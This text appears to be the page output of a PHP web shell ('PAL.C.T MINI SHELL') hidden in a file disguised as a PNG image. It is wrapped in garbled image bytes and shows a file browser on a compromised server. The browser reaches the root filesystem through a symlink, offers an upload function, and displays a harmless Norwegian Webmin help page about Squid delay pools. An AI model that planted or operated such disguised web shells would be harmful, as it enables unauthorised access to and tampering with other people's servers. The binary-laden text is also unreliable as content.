php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/squid/help/
upload
files >> //var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/squid/help/edit_pool.no.auto.html

<header> Rediger forsinkelsesbasseng </header><p> <b>Bassengnummer</b> <br> Dette er et tall fra 1, som er valgt for deg av Webmin. Det merker bare bassenget slik at mer enn ett basseng kan konfigureres og behandles annerledes av blekksprut. <p> <b>Bassengklasse</b> <br> Dette definerer klassetypen på bassenget. Hver forsinkelsesbasseng kan ha en klasse valgt fra klasse 1, 2 eller 3. Klassene har følgende betydninger: &quot;1-Aggregate&quot;, &quot;2-Aggregate and Individual&quot;, &quot;3-Aggregate, Individual and Network&quot;. Den enkleste, klasse 1, spesifiserer en båndbredde som alle klienter som dette bassenget tilhører ikke kan overgå. Klasse 2 spesifiserer både en samlet båndbredde og en båndbredde som hver enkelt kan bruke, og skaper et heirarki av grenser der alle individer kombinert må passe inn i aggregatet mens hver enkelt er begrenset av den individuelle grensen. Til slutt spesifiserer klasse 3 en samlet og individuell båndbredde i tillegg til en nettverksbåndbredde som gjelder for et helt undernett. Klasse 3 er vanligvis bare nyttig i veldig store nettverk som har mer enn ett nettverksundernett. <p> Grenser kan spesifiseres i hvilken som helst enhet foretrukket, selv om den vil bli lagret i blekksprut-konfigurasjonsfilen i byte. Det første feltet er den gjennomsnittlige gjennomstrømningen som vil bli tildelt bassenget, mens det andre er størrelsen på bøtta som brukes, noe som omtrent tilsvarer et sprengbart båndbreddemaksimum. <p> Etter å ha opprettet et basseng for første gang, vises en ny seksjon nederst på siden, som tillater valg av hvilke ACL-er bassenget skal gjelde for. ACL-er opprettes på <b>tilgangskontrollsiden</b> , og alle ACL-er kan brukes til å velge hvilke tilkoblinger et forsinkelsesbasseng vil gjelde for. <b>Tillatelse av</b> en ACL vil bruke forsinkelsesbassenget på samsvarende tilkoblinger, mens <b>Å nekte</b> en ACL vil føre til at matchende tilkoblinger omgår forsinkelsesbassenget. Så hvis ikke alle tilkoblinger har det samme forsinkelsesbassenget som de bruker, vil du legge til to ACL-er, den første vil være ACL-en du vil bruke forsinkelsesbassenget til, og den andre vil være <tt>all</tt> ACL så at bare de valgte kundene dine vil være begrenset. <p> Ikke glem å bruke endringer etter å ha opprettet et nytt basseng og lagt til ACL-er som passer.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`